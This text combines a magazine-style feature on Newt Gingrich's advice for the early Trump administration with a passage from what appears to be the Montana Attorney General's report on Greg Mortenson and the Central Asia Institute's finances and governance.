Coming from someone else, this would sound like one of those platitudes Washington insiders often mouth when they’ve been passed over for something, as much to console themselves as to persuade you. I can do more good from outside the tent than inside. I wanted a broader portfolio. And so on.
But anyone who’s known Gingrich for very long — and he and I have talked often over the last decade — knows that he couldn’t be happier with how things are shaping up. Yes, he would have accepted the vice presidency had Donald Trump asked him. Yes, he has visions of himself as a very good defense secretary, if only he could hop into a time machine and serve during the last great land war.
But it’s hard to imagine Newt — he is universally known by his first name in Washington — dragging himself to the doorstep of some drab Cabinet outpost every morning, managing some sprawling bureaucracy, taking orders over the phone from some deputy chief of staff (or perhaps one of the Trump kids). It’s even harder to imagine him doing all that at the cost of the small empire he runs from across the Potomac River, a lucrative generator of speeches, films and books.
What Gingrich wants, as he first told me during a conversation at the Republican convention in July, is to be Harry Hopkins, the confidant to whom Franklin Roosevelt entrusted the implementation of the New Deal. I pointed out to him, during my hourlong visit to his Arlington office Monday morning, that Hopkins had worked alongside the president.
“This is the modern world,” Gingrich said breezily. “I’ve got an iPad and a smartphone. I’ll be inside the White House as much as I want to.”
Trump’s takeover of Republican politics over the last year, unfathomable and yet somehow inevitable at the same time, posed a treacherous test for establishment Republicans, few of whom came through unscathed.
Mitt Romney, for instance, tried to plant himself directly between Trump and the nomination, and now finds himself demonstrating his fitness for the State Department by translating French entrées off a menu. (“I would not say he’s not serious,” Gingrich told me of Trump’s dalliance with Romney. “But I would say he’s massively enjoyed it.”)
On the other end of the spectrum you have Chris Christie, who boldly leaped to Trump’s side when it made him a pariah in his own party — only to be cruelly discarded, it appears, when Trump no longer needed the governing imprimatur.
Perhaps no one, though, played it wilier than Gingrich, who has managed to hover near the center of Republican power for most of the last 20-plus years. Remaining uncommitted throughout the early primaries, the former House speaker and presidential candidate spoke kindly enough of Trump to be considered an ally, but demonstrated enough independence to avoid becoming a lackey.
Gingrich may well be the longtime politician closest to what Trump, who disdains the entire profession, would consider a peer. When he greeted me Monday, he mentioned that he had just gotten off the phone with the president-elect, who called because he had seen Gingrich defending Trump’s call with the Taiwanese president in multiple TV interviews. They talk periodically.
“He watches everything, never kid yourself,” Gingrich told me. “I spend a lot of time studying him. What does he do, why does he do it, what he’s trying to accomplish.”
To that end, I told Gingrich I was interested less in all the speculation around the transition than in how Trump would govern. I wanted to know what the first six months of the Trump administration would actually look like, if Gingrich had any influence over it.
Gingrich flashed that intrigued look he sometimes gives you, which I can only imagine is the same look he used to give his history students at West Georgia College when they asked him something that got him thinking.
“You ask me a good question, and I haven’t thought about how to put it down in an organized way,” Gingrich said, rising to his feet.
Behind him was a whiteboard where Newt had scribbled some phrases and diagrams, like Alan Turing trying to decode some new political language. Trump begins in answer form … Thus begins the personal evolution … Core cultural difference.
Now he hurriedly erased it all. Grabbing a red marker, he started writing out a series of headings, along with a triangular diagram. Below this and in the middle of the whiteboard, Gingrich scrawled out some figures: “$13 6yrs. $3 2.5mths.”
These few numbers, he explained, make up the centerpiece of what he calls “Trumpian” reform. They represent the story of the Wollman Skating Rink in Central Park, which New York City tried and failed to rebuild at a cost of $13 million over six years, and which an exasperated Trump (his office looked out over this monstrosity) finally renovated in a matter of months, for only $3 million.
Trump hadn’t known a thing about skating rinks, Gingrich reminded me. The first thing he’d done was to call a Canadian company, because he figured Canadians must know a lot about building skating rinks, and within a week he had a plan.
“You have to take that story as a logic train,” Gingrich told me, adding that he had advised Trump to make it a central plank of his campaign. In several key areas of government, Trump’s challenge in his opening months would be to break with convention and smash the bureaucracy in a handful of key areas, delivering fast results at a lower cost.
The park story, which Trump did in fact highlight in his primetime convention video, has always seemed a little unpersuasive to me. Rather than highlight Trump’s genius as a can-do builder, it reminds you of how little he can actually point to as proof of public service. A $3 million sheet of ice stands as his lone testament to civic-mindedness.
Given that limitation, though, it made sense to me that Gingrich should seize on this story as a guidepost for Trump as he girds for some important early battles with an entrenched governing establishment.
When all you have is a bulldozer, I guess everything looks like a rink.
*****
“The first challenge in governing is to not blow up,” Gingrich told me. “Because if you blow up, you just have a mess, OK?”
He was talking about the unavoidable problem Trump will face right away, which is what to do about President Obama’s signature health care law. With a Republican Congress at his disposal and eager to scrap the law, Trump has no practical choice other than to make good on his vow to repeal it. But moving all at once would revoke coverage for some 22 million Americans and play havoc with the insurance market.
“So they’ve got to get through how you unravel Obamacare, because they want to replace it in a way that you never own the problem,” Gingrich said. “You don’t want to leave 22 million people anxiety-ridden. So start with that. And it is really, really complicated.”
In other words, Trump and the Republican Congress may make a big show of repealing some provisions, but the heart of the law — namely the state exchanges and the subsidies — may stay intact for a while yet, while lawmakers debate other solutions.
“You have to pass something in January or February,” he told me. “You have to. You pick the weakest, dumbest parts of Obamacare, and you replace them.”
At the same time, he said, Trump will have to do something immediate to back up his promises on keeping jobs in the country. While Republican leaders have already balked at Trump’s proposal to levy a 35 percent tariff on imports, Gingrich thinks the principle of a transfer tax might be more practical.
What that means, in theory, is that businesses might get a 35 percent tax rebate on goods built domestically while paying a corresponding 35 percent tax on anything they import from overseas — essentially a tariff with a corresponding tax cut.
The third pillar of Trump’s “Make America Great Again” platform, of course, was stemming illegal immigration. Immediately after the campaign, Gingrich made news when he called Trump’s wall “a campaign device.” In our conversation, he suggested there would, in fact, have to be a wall, but it might be literal in some stretches, with others filled in by sensors or patrols.
Gingrich expects Trump to take a hard stand against so-called sanctuary cities, which would afford him a highly symbolic way to castigate both illegal immigration and liberal government — a kind of two-for-one deal.
But even as Trump advances some tangible ideas to make good on his promises on these fronts, Gingrich told me, he’ll have to get down to the granular, often nasty business of breaking up longstanding bureaucracies.
This is the Wollman Rink parable applied to Washington; either Trump gets control of the governing apparatus so he can do things the way he wants, or the apparatus will simply stall until he’s gone.
“This is the biggest fight that they’re going to have,” Newt said. “You say, ‘I want you to go down and paint the building blue.’ And the federal workforce says, ‘Well, we’re not really sure where to find blue paint, and we’re not really sure we know how to paint, but we can fill out a report telling you that we’re seriously thinking about someday thinking about whether or not we’ll eventually have training to someday do something.’”
What Gingrich then outlined for me, on his whiteboard, were several grenades he wants Trump to unpin and hurl in his first year on the job — not only to remove the obstacles that stand in his path but to send a significant
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20, 2006, the hard back version of “Three Cups of Tea” was released. A year later, on January 30, 2007, the paperback version published. The paperback sold approximately 4 million copies and spent 57 weeks on The New York Times bestseller list. The book became CAI’s main outreach tool. The charity paid virtually all the costs to produce the book – approximately $367,000 – and in the following years bought and gave away thousands of copies to libraries, schools, places of worship, military installations, and similar organizations. Mortenson also began making hundreds of public appearances at which he promoted the book, his story, and CAI’s mission. The advertising and travel costs for these speaking tours were paid by CAI until 2011 when Mortenson began paying the travel costs for his speaking engagements.
1Counsel for CAI and Mortenson believe that Ms. Raynor is most accurately described as a bookkeeper and believe that referring to her as CFO of the organization overstates her role. They note that she is not listed on the organization’s Form 990 taxfilingdocument as an officer or key employee. Our review of documents reveals that from the first time Ms. Raynor is mentioned in CAI’s board minutes or correspondence until the time of her resignation she was at all times, with one exception, referred to by board members and herself as CFO. Furthermore, CAI’s board entertained a proposal to add Ms. Raynor to the board and she was later identified in minutes as “Treasurer.” We therefore refer toMs. Raynor throughout this report as CFO. Her official title, however, is not material to the report. It is clear that she was the employee responsible for financial controls, monitoring, and reporting during her employment with CAI.
With the success of “Three Cups of Tea,” Mortenson developed an idea to write a second book. This time, he used two ghost writers. “Stones into Schools” published in December 2009. CAI used it, too, as a tool for raising awareness in the U.S. about its mission in Pakistan and Afghanistan. Again, CAI was not a party to the publishing agreements, and had no royalty interest in the book.
With the books’ successes and CAI’s increasing profile, Mortenson achieved personal acclaim. After winning Pakistan’s highest civilian honor in 2009, the Star of Pakistan, Mortenson was one of six finalists for the Nobel Peace Prize. Fueled by widespread demand nationally, Mortenson, the Penguin Speaker’s Bureau and CAI intensified the speaking tour. With a demanding schedule that included hundreds of cities in 2010 alone, Mortenson began using charter plane service and travelling with aides and bodyguards, due to threats against him.
The books continued to sell at a rapid pace. Mortenson’s personal financial fortunes also multiplied significantly during this time as a result of book royalties and speaking fees. And, donations to CAI increased consistently and significantly.
Unfortunately, while CAI was achieving significant successes in promoting its mission and increasing its profile, there were serious and ongoing problems with the charity’s financial and operational affairs. At the recommendation of the operations manager and the board, and with the assistance of an attorney, several policies and procedures were adopted in 2008, which were intended to address the deficiencies with the organization’s financial controls and operations. In addition, a written employment agreement with Mortenson was signed. Despite these actions, the situation did not meaningfully change.
Concerns were raised about Central Asia Institute in 2010, primarily focused on the financial benefits to Mortenson and the organization’s lack of accountability. The American Institute of Philanthropy, an independent charity watchdog, was the first entity to question CAI’s relationship with Mortenson. In an article titled “Nobel Prize Nominee’s Charity Wins No Award for Accountability” published in its April/May 2010 Charity Rating Guide and Watchdog Report, AIP chastised CAI for not making its financial reports available to the public.
On April 17, 2011, the CBS news program, “60 Minutes” aired a story alleging Mortenson mismanaged funds and fabricated some of the stories in his books. A day later, Jon Krakauer published an online short book that was highly critical of Mortenson. The allegations made by Krakauer and “60 Minutes” were published in news outlets across the world and have been challenged by both Mortenson and CAI.
During this time, Mortenson was experiencing increasingly serious health problems, which necessitated heart surgery in the summer of 2011. Anne Beyersdorfer, a consultant and longtime family friend of Mortenson, came to Montana to assist in managing the crisis and assumed the position of interim executive director.
IV. THE MONTANA ATTORNEY GENERAL’S INVESTIGATION
On April 19, 2011, the Montana Attorney General’s Office began investigating the matters raised in the media by contacting representatives of CAI and Mortenson to request a meeting and some preliminary factual information. The investigation included a thorough review of matters relating to the financial and operational issues involving Mortenson and CAI to determine whether the law governing nonprofit corporations had been violated.
From the outset, CAI and Mortenson cooperated fully with the Attorney General’s investigation. They and their attorneys responded to all requests in a timely and professional manner. The problems that are the subject of the investigation are serious and cannot be minimized. The manner in which CAI, Mortenson, and their counsel responded demonstrated their recognition of the seriousness of the issues, and a willingness to take meaningful actions to address those issues.
Our investigation was extensive. In addition to researching information in the public domain, we reviewed thousands of pages of documents produced by both CAI and Mortenson. We took the sworn statements of Greg Mortenson, Jennifer Sipes, Julia Bergman, Karen McCown, and Abdul Jabbar. We considered information from confidential witnesses. We retained forensic accountants from the public accounting firm, Junkermier, Clark, Campanella & Stevens, to assist with analyzing financial information and data. We consulted with a nationally recognized expert on the law governing charitable organizations.
The documents and sworn statements were obtained pursuant to the Attorney General’s investigative authority, which provides for confidentiality. In addition, to facilitate the investigative process and avoid delays, we entered into confidentiality agreements with Mortenson and CAI concerning documents and information obtained in the investigation. Thus, the statute and confidentiality agreements limit the detail that can be publicly disclosed concerning information subject to their provisions. We are not constrained, however, in our ability to arrive at the necessary factual findings and legal conclusions based on our review and analysis of the confidentially obtained information.
It is important to note that the Attorney General’s investigation was not focused on:
Allegations of fabrications or inaccuracies in the narratives in Mortenson’s books; or Issues that are within the domain of taxing authorities.
Those issues are not within the province of the Attorney General’s oversight responsibility regarding nonprofit charities.
Finally, the investigation did not reveal evidence of conduct that would sufficiently constitute the basis for any criminal investigation or prosecution. Had such evidence been identified, it would have been referred to the authorities with primary prosecution authority, which in Montana are county attorneys. No such referral has been made.
V. THE MONTANA ATTORNEY GENERAL’S FACTUAL FINDINGS
A. INTRODUCTION
The focus of this investigation was defined by the legal issues relating to the Attorney General’s enforcement authority, particularly focusing on protecting charitable assets in Montana and the fiduciary duties of officers and directors of nonprofit organizations, including the duty of care and the duty of loyalty. The duty of care requires the director or officer to act in a reasonable, diligent, and informed manner that is in the best interests of the organization. The duty of loyalty encompasses conflict of interest transactions, which are transactions in which an officer or director has a direct or an indirect interest.
Based on these legal principles, the Attorney General’s investigation focused on two primary issues:
Did CAI’s officers and directors satisfy their duties of care and loyalty with respect to the arrangements with Mortenson concerning the books and speaking engagements? Did CAI’s officers and directors satisfy their duties of care and loyalty in addressing the financial and operational affairs of the organization?
The factual findings of our investigation are summarized below. The Attorney General’s conclusions, based on those factual findings, are summarized in Section VI.
B. THE BOOKS
The first notion for Mortenson to write a book actually came from his wife, Tara Bishop, who told him if he wrote a book to help spread CAI’s message that he wouldn’t have to travel as much and could be home more with his young family. Board meeting minutes in 2001 note the first reference to a book, which was conceived as a fundraising tool and a way to tell CAI’s story. Meeting minutes also contain the first explicit reference to “Three Cups of Tea.” There is also a reference to Mortenson’s “ideal work scenario,” and a specific reference under “Elements of His Job Description” to book writing and interfacing with the public.
Mortenson’s initial attempts to interest a publisher in the book idea did not succeed. The idea was resurrected, however, after Kevin Fedarko’s 2003 cover story in Parade profiling Mortenson and CAI’s work. The article spurred increased public exposure of CAI, and the exponential increase in donations. Later, the CAI board (Mortenson, Bergman, McCown and Jabbar) reprioritized the book and decided to underwrite the costs to produce it.
In November 2003, Mortenson and co-author David Oliver Relin entered into a collaboration agreement.2 Though CAI was not a party to the agreement, it included a provision binding CAI to pay the expenses incurred in preparing the book proposal, and travel associated with it.
2Mortenson is the sole shareholder of a subchapter S corporation, MC Consulting, Inc. Many of the financial transactions described in this investigation involved MC Consulting. MC Consulting existed solely to maintain a bank account; it had no staff and undertook no activities other than maintaining the account. Accordingly, for purposes of this report, no distinction is made between Mortenson and MC Consulting, Inc.
Mortenson and Relin signed a publishing agreement with Viking Penguin on March 2, 2004. The arrangements provided the authors with a monetary advance over the course of the two-year writing process. Mortenson remained on salary as the full-time executive director of CAI throughout the writing process for “Three Cups of Tea.” He testified that much of the time he spent on the book was outside of normal business hours.
The hard copy version of “Three Cups of Tea” was released March 20, 2006. For that version, Mortenson and Relin split royalty payments based on the number of copies sold for each edition of the book. The co-authors retained Elizabeth Kaplan, Relin’s New York literary agent, who took a percentage of the commission received by the two authors. For the paperback versions, which came out in 2007, Mortenson and Relin split royalties as well. Kaplan’s share applied to all royalties received by the authors.
Mortenson did not provide the CAI board with copies of any of the contracts relating to the writing and publication of “Three Cups of Tea.” Based on our investigation, the other members of the board have never received or requested copies of any of those contracts. As of the time they gave sworn statements, the other board members still did not know, and had an inaccurate understanding of, the financial details between Mortenson, Relin, the publisher, and agent. The board members focused instead on the benefits CAI received from “Three Cups of Tea” and the later books.
For the second book, “Stones into Schools,” Mortenson received a substantial cash advance from the publisher. He hired a ghost writer, for a set fee, in July 2008. Instead of splitting half the royalties like he did with Relin, the ghost writer was entitled to a fraction of them, earning on all copies over 100,000 sold 2 percent for the hard copy and 1 percent for paperback. Mortenson alone signed the deal with Viking Penguin, which provided royalties of varying percentages between hard copy and paperback editions. In the latter stages of the book’s development, Mortenson also hired a second ghost writer to write the final chapter of “Stones into Schools.” This author received a set fee and the same royalty payments as the first ghost writer. The hard copy was published in early December 2009 and the paperback was released in late October 2010. Unlike the arrangement with “Three Cups of Tea,” and other than the salary Mortenson was receiving, CAI did not underwrite the costs of writing or producing “Stones into Schools.”
In addition to the production costs of approximately $367,000 for “Three Cups of Tea,” since 2006 CAI has spent approximately $3.96 million buying copies of the books, which were distributed to libraries, schools, universities, the military, and other recipients to promote CAI and its mission. Those purchases were made primarily through online book companies. Mortenson was entitled to purchase books at a discount from the publisher, which would not have generated royalties. He and the operations manager determined, however, that it was more efficient and cost effective to purchase from the online sellers because those sellers would ship directly to intended recipients or speaking engagement locations (unlike the publisher), shipping costs were lower, promotional sales prices were competitive, and the online sellers were able to respond much more quickly to orders than the publisher.
Because they were made from retail sellers, CAI’s purchases generated royalties for Mortenson and his co-authors. In 2008, the CAI board addressed this issue in the process of entering into an employment agreement with Mortenson. A board resolution included the following:
Whereas, Greg Mortenson has agreed to provide a contribution to CAI equal to the amount of royalty income he has received specifically related to books purchased by CAI.
As of early April 2011, Mortenson had not made any payments to CAI to compensate it for these royalties, and CAI’s board had not taken steps to demand such payments.
In addition to the costs of purchasing books, CAI spent approximately $4.93 million since 2006 advertising the books, out of a total advertising expenditure of approximately $6.11 million. Like the book purchases, CAI relied upon the benefits it received from the books to justify those expenses.
Mortenson received his salary and benefits as executive director of CAI during the entire time period. In addition, he earned substantial royalty income from the books.
C. THE SPEAKING ENGAGEMENTS
In the years before “Three Cups of Tea” published in 2006, Mortenson delivered dozens of slide shows, lectures, and other presentations each year to educate the American public about the need to promote peace through expanding educational opportunities in central Asia. Minutes from early board meetings show that the board viewed Mortenson’s public appearances as critical to CAI’s domestic outreach and education program, and its ability to attract charitable donations to the organization. The board recognized, therefore, that Mortenson’s public appearances were an integral and important part of his work as executive director of CAI.
Following the publication of “Three Cups of Tea,” Mortenson made hundreds of public appearances in the United States and other countries to educate the public about CAI’s charitable mission and to promote the books. Some of these appearances were organized by Penguin Speakers Bureau (PSB), an affiliate of the publisher of “Three Cups of Tea,” pursuant to a separate contract with Mortenson. Others were organized by CAI.
In 2007, Mortenson made appearances in 98 locations, from Hawaii to Vermont, in Tanzania and the United Arab Emirates. In 2008, Mortenson made 120 speaking appearances. 2009 became even more hectic, with 160 engagements, sometimes two in one day in different states. The following year was nearly identical, with 142 engagements in 2010 and instances with four public speeches in one day. These trips were in addition to several trips to central Asia during these years.
To accommodate such a schedule, which often made it impractical to travel commercially, as well as in consideration of Mortenson’s health and concerns for his physical safety, Mortenson began travelling extensively on charter jets. The charter flights were paid for through CAI’s credit cards or wire transfer of CAI funds. Over time, these charter costs totaled almost $2 million. The CAI board was aware of, and approved the use of, charter flights.
Mortenson received speaker’s fees for many of these appearances. He also made many appearances for no fees. As demand for Mortenson’s speeches increased, so did the honorariums he received. In 2008, for example, the standard speaking fee was $15,000. Of that amount, $3,750 went back to the PSB and Mortenson kept $11,250. In subsequent years the total engagement fee increased to between $25,000 and $30,000 – all but $7,500 of which went to Mortenson.
CAI paid the travel and promotional costs associated with Mortenson’s public appearances. The board determined that the public appearances furthered the mission of the organization, through public outreach, and generated substantial mission and name recognition, resulting in significant amounts of contributions to CAI.
At the same time CAI was paying the travel costs, however, many of the event sponsors were paying a separate, additional fee for travel costs. For most speaking engagements arranged by PSB in 2010 and 2011, and for some speaking engagements arranged by PSB in 2009, the event sponsor paid a specified amount for travel costs, in addition to the speaker’s fee.
In January 2011, before the media stories broke in April, Mortenson began paying his own travel. From January 18 through April 11, his final speaking event of the year, Mortenson paid $252,042.11 for travel to 26 speaking engagements.
Prior to the initiation of this investigation, Mortenson had not reimbursed CAI for the travel expenses he received from event sponsors. Thus, Mortenson was “double dipping.” His travel expenses were, in many cases, paid twice: by both CAI and event sponsors.
D. FINANCIAL IMPACT ON CAI FROM THE BOOKS AND SPEAKING ENGAGEMENTS
Meeting minutes of the CAI board from 2001 on reflect the board’s belief that Mortenson’s outreach could generate significant and needed financial support to CAI. Later minutes specifically acknowledged the very substantial benefit that “Three Cups of Tea” provided to CAI in the form of widespread public education regarding the charity’s mission and programs and increased monetary donations.
CAI received substantially more in donations than it expended for advertising, promotion (including book purchases), and travel associated with the books and Mortenson’s public appearances. CAI’s financial records separately identify the amounts spent for advertising and book purchases. They do not, however, separately identify travel costs associated with the books or speaking engagements, so they are not as easily accounted for.
The following is a summary of CAI’s expenditures for books and advertising, exclusive of travel, compared to its contributions from 2003 through August of 2011.
The difference between the total expenses and total revenues ($23,255,200) was held in reserve. Board members testified the organization intentionally built its reserves in order to provide assets for ongoing support of its programs in central Asia.
From the perspective of CAI’s board and its attorneys, the costs spent promoting Mortenson’s books and speaking appearances were a worthy and prudent investment that supported its mission and created awareness of CAI and its accomplishments, resulting in significant donations to the organization. While there are likely multiple contributing factors to CAI’s increased donations, the substantial increase in the years following initial publication of “Three Cups of Tea” is consistent with CAI’s position.
Even granting credibility to the board’s position, however, its own actions confirm that there were issues to be addressed with respect to the organization’s arrangements with Mortenson. Though early board minutes do not reflect any discussion of the financial arrangement between CAI and its executive director, and there was no formal employment agreement in place with Mortenson prior to 2008, the board took formal steps that year to document and ratify the relationship and financial arrangements that had developed between CAI and Mortenson over the previous several years. In 2008, prior to “Stones into Schools,” CAI and Mortenson entered into a written employment agreement. Section 2 of that agreement provides:
(b) … While CAI was not, and is not, a direct beneficiary of any of the personal contracts between Mortenson and publishers related to 3CT or regarding any profits or revenue generated by 3CT, CAI acknowledges that it has received and continues to receive benefits from the 3CT in the form of public education regarding CAI’s mission and programs and heightened awareness of the need for support, resulting in substantial contributions to CAI. CAI recognizes that during Mortenson’s employment with CAI he will also be engaged in speaking arrangements and/or working on additional publications or projects regarding his activities in Pakistan and Afghanistan. CAI acknowledges that it will not be the direct beneficiary of such activities, but believes it will receive substantial indirect benefit subject to these activities similar to past experience. CAI, therefore, acknowledges and consents to Mortenson engaging in such activities independent of CAI, including working on, writing, publishing and/or promoting another book or books or a film project, except as discussed in paragraph (c) below, does not claim any right, title or interest in such other publications or projects.
(c) With respect to speaking activities, Mortenson may receive honorariums or speaking fees. CAI recognizes that many of these engagements also further its educational and fundraising programs. Payments and expenses associated with these activities shall be documented and split between Mortenson (or his designee) and CAI based upon a determination of the amount of benefit and topic of the speaking engagement. Any payments from CAI to Mortenson (or his designee) associated with such activities shall be documented by CAI and presented to the Board for ratification on at least a semi-annual basis.
The board also adopted a resolution echoing the employment agreement. Essentially, it said that Mortenson is the pivotal character in CAI’s mission, and that the “vast benefit” his book provided to the corporation in the form of increased financial support is “in excess of the personal benefit received by Mortenson from his private authorship and speaking activities.” The resolution also memorialized an arrangement for sharing book royalties.
Thus, the CAI board, including Mortenson, recognized and agreed that Mortenson should pay some of the travel and promotional costs associated with his speaking engagements and books, and that he should pay CAI for royalties he received from books purchased by CAI. Neither the board nor Mortenson, however, took steps to implement those agreements.
As the media stories were unfolding in April 2011, Mortenson made two payments to CAI totaling $420,000. As of the date of this report, Mortenson has not made any further payments pursuant to the employment agreement or royalty agreement. However, through the settlement with the Attorney General, he has committed to making additional payments to CAI, which will bring the total amount of Mortenson’s reimbursement to CAI to just over $1 million.
E. FINANCIAL AND INTERNAL CONTROLS
1. Deficiencies with Expense Documentation and Financial Controls
Between 2001 and 2011, CAI had three independent audits of its financials. The audits performed for the 2003, 2009 and 2010 fiscal years revealed material weaknesses in CAI’s financial and internal controls. Rather than address the deficiencies found in the 2003 audit, the board discontinued auditing its finances. The same material weaknesses appeared in the later audits. The CAI board also was expressly told of financial deficiencies and problems with internal controls by its former chief financial officer during the CFO’s employment with the charity. Those problems were further detailed and reiterated in a memorandum supplied to the board when the CFO resigned in 2004.
The financial records supplied to the Attorney General by CAI reflect a significant volume of expenditures as “program service expenditures” or “management and general expenses.” A material amount of these expenditures is reflected in credit card statements, but does not have sufficient or independent supporting documentation to confirm this characterization. This is so despite the organization’s internal policies and procedures and board resolutions mandating that documentation. The large volume of individual undocumented expenditures without sufficient supporting documentation was identified as a material weakness by CAI’s independent auditors. Our review of CAI’s financial records revealed that this recurring weakness was not adequately addressed. CAI’s financial records revealed similar material weaknesses with respect to supporting documentation for credit card purchases.
Based on the recommendation of CAI’s operations manager, the board retained an attorney in approximately 2008 to assist with developing comprehensive policies and procedures including:
A comprehensive Board Policy Manual
Personnel Policy Manual, which outlines and requires the following: Detailed reporting of work hours by project; Reporting and documenting business expenses as they are accrued: “you must report these expenses or you may be personally liable for the amount spent …”; Procedures governing use of CAI property and credit cards, “costs that are deemed non-CAI related will require immediate reimbursement from the employee. Subsequent disciplinary action or termination may ensue.” And; Conflicts of interest.
Code of Ethics Policy
Conflict of Interest Policy
Employee Travel Reimbursement Policy, which: Requires documentation of expenses, including receipts and “information sufficient to establish the business purpose of the travel, entertainment, or other expenditure”; Requires that expenses be kept at a minimum; Prohibits reimbursement for personal expenses; Prohibits expenses reimbursable from any other source, and; Generally prohibits reimbursement for travel expenses of spouses.
CAI’s Personnel Policy Manual, adopted in June 2008, describes in detail the expectations of employees with regard to business expense reporting and the use of company credit cards. The policy reads, in pertinent part:
4.b. Business Expense Reporting Employees are required to report each business expense to the Operations Director as the expense is accrued. You must report these expenses or you may be personally liable for the amount spent or obligated. We encourage use of charge accounts and cards whenever possible, pre-approved by the Operations Director.
Employees who are required to use their automobile for CAI business and for trips will be reimbursed at a mileage rate determined annually, plus expenses for tolls and parking. Reimbursement will not be made for travel between home and office.
The financial reporting, budgeting, controls and business expenses are done with the assistance of a CPA accounting firm.
4.c. Other Reimbursable Expenses CAI encourages employees to obtain overnight accommodations with friends, family and CAI members, supporters, or contacts. It is acceptable to purchase an inexpensive gift or meal for the host. If an employee needs commercial lodging, s/he will seek to obtain reasonable accommodations. Similarly, meal expenses will also be reasonable.
Additional meal expenses are not covered in cases where conference fees include cost of meals, with exception for meals that are business related. Tips will not exceed what is reasonable and customary.
CAI will reimburse employees for any fees involved with required or approved attendance at conferences. Employees will also be reimbursed for expenses incurred for CAI-related telephone calls, supplies, postage, copying, and other items authorized by the Operations Director. Receipts related to a specific event or trip will be submitted on an Expense Voucher (same as Travel Voucher). Miscellaneous individual receipts can be accepted at the discretion of the Operations Director without a Voucher if legible and the employee clearly indicates the purpose of the expense, the CAI program, “please reimburse,” and his/her signature. Any reimbursement request received without receipt(s) will be considered on an individual basis.
4.d. Use of CAI Property and Charge Cards Employees are expected to use CAI equipment carefully and its supplies prudently. In cases of obvious misuse, an employee may be expected to pay all or part of the repair and/or replacement cost.
Certain employees are issued phone and debit/credit cards plus allowed use of CAI’s cell-phone. Employees are responsible for each expense incurred on these accounts. Any costs that are deemed non-CAI related will require immediate reimbursement from the employee. Subsequent disciplinary action or termination may ensue.
These policies were not effectively implemented and enforced based on evidence of misuse of company accounts by Mortenson, other employees and even some nonemployees, including family members of employees. We examined CAI credit card statements spanning 10 years. Of those 10 years, supporting receipts for eight sample months were requested: December 2007; August, October and December 2008; November 2009; January, March and July 2010. CAI provided receipts for just 38 percent of the total charges during those eight sample months. And, many of the receipts did not satisfy the requirements of the policy manual because there was no voucher or other written indication of the purpose of the charge.
Mortenson, in particular, consistently failed to comply with either commonly accepted business practices or CAI’s policy manual with respect to documenting expenses charged on CAI’s accounts. The issue was repeatedly raised through the years. Board members testified that despite requests, cajoling, demands and admonitions, they were unsuccessful in getting Mortenson to submit proper documentation to support the charges he was making to the charity. The board went so far as to provide Mortenson with a personal assistant while traveling. This, however, also failed, as the personal assistant, himself, did not adequately comply with expense reimbursement requirements, nor did he cure the problems relating to Mortenson’s expenses.
The more significant issue was not simply compliance with expense reimbursement and documentation policies, but the nature and magnitude of charges for which inadequate documentation exists. Through the years, Mortenson charged substantial personal expenses to CAI. These include expenses for such things as LL Bean clothing, iTunes, luggage, luxurious accommodations, and even vacations. Note 9 to CAI’s fiscal year 2009-10 audit states:
During the fiscal year ended September 30, 2010, the Organization paid expenses on behalf of its Executive Director which was recorded as a receivable to be reimbursed to the Organization.
The receivable in question was for $75,276.10 – the amount of company funds that CAI auditors determined Mortenson used for personal reasons. Records show that in four personal checks in August and September of 2011, Mortenson repaid the entire receivable. Based on our investigation, it appears likely that there are personal charges for Mortenson and his family from other years, which properly should be paid back to CAI.
Mortenson was not the only person who made unsupported charges to CAI’s accounts. The credit card statements reflect questionable charges by other employees at restaurants, bars and spas, and on health club dues and gifts. It is possible that some of these charges can be supported and justified as appropriate expenses of the charity. It appears probable, however, that some of them cannot be.
CAI has instituted tighter controls on the use of CAI accounts, and has agreed to retain a public accounting firm to check the validity of questionable charges from previous years. For those determined to be improper, CAI’s policy regarding improper charges to CAI’s accounts should be enforced. (“Any costs that are deemed non-CAI related will require immediate reimbursement from the employee. Subsequent disciplinary action or termination may ensue.”).
2. Overseas Expenditures
It is not feasible for the Attorney General to independently conduct an on-the-ground assessment of the work that CAI is performing in Afghanistan and Pakistan. It should be noted, however, that even CAI’s harshest critics recognize that the organization has built schools and accomplished positive achievements in a very challenging region of the world.
Each of CAI’s three financial audits, as well as the organization’s own records, identify deficiencies in documenting its overseas projects and accounting for wire transfers abroad and overseas expenses. For example, large sums of CAI funds were often wired to central Asia where CAI staff members, including Mortenson, would use the funds to carry out its mission. The audit deficiencies spotlighted the lack of documentation to prove how the money was spent or if it was spent as intended. Our primary focus, therefore, was to determine whether the organization has taken meaningful and effective action to address the deficiencies in accounting for overseas expenditures.
In the summer of 2011, CAI sent an attorney and members of its staff to central Asia to conduct an assessment of the organization’s projects. They also evaluated possible ways of improving documentation and accountability for expenditures, considering the challenges of working in a region with a significantly different economic and cultural system than that of the United States. The Attorney General’s Office has reviewed the findings from this assessment, and finds them credible. The assessment acknowledged that there were discrepancies and duplications in CAI’s prior project lists.
In August 2011, CAI developed and posted on its website, and has subsequently updated, a detailed Master Project List of its overseas activities and accomplishments. CAI will update this Project List on a periodic basis, and take other steps to ensure that its program service accomplishments are accurately portrayed to the public.
CAI has implemented methods of tracking projects and expenses with its overseas staff, including documenting each of its projects with the assistance of an attorney and American staff, and improved methods and accountability for overseas staff to document expenses. Further, CAI has retained accounting firms in Pakistan and Afghanistan to work closely with its accountants and auditors in the United States to address deficiencies in accounting for overseas expenses.
F. GOVERNANCE ISSUES
1. CAI’s Board
CAI’s board presently comprises three individuals, one of whom is Mortenson. All three directors have served on the board continuously since 2003 (along with Bergman until 2009) and have personally visited Afghanistan and/or Pakistan. The altruistic motives and sincere commitment to CAI’s mission by each person who has served on CAI’s board cannot be doubted. It was evident when they were interviewed that they each believe deeply in the charity’s mission, and want it to succeed. It was equally evident that each of the board members greatly admires Mortenson and the work he has done – both on the ground in central Asia, and in carrying CAI’s message of education and peace to people throughout the United States and beyond.
The board’s history and testimony from certain members, however, supports a conclusion that there was a deliberate effort to put people who are loyal to Mortenson on the board. The three board members who resigned in 2002 were effectively ousted, based on tensions and conflict that had developed with Mortenson. Meeting minutes show Hornbein, the board chair, and Wiltsie, the board treasurer, repeatedly asked for documentation to prove that CAI was getting a positive return on the money Mortenson was spending. Hornbein in particular requested itemized lists of Mortenson’s travel expenses, of the money coming in, and of contacts being made. He also advocated for phasing out Mortenson’s role in overseeing daily operations. In short, the board members who resigned were essentially trying to perform the kinds of oversight functions expected of boards of directors for organizations such as CAI.
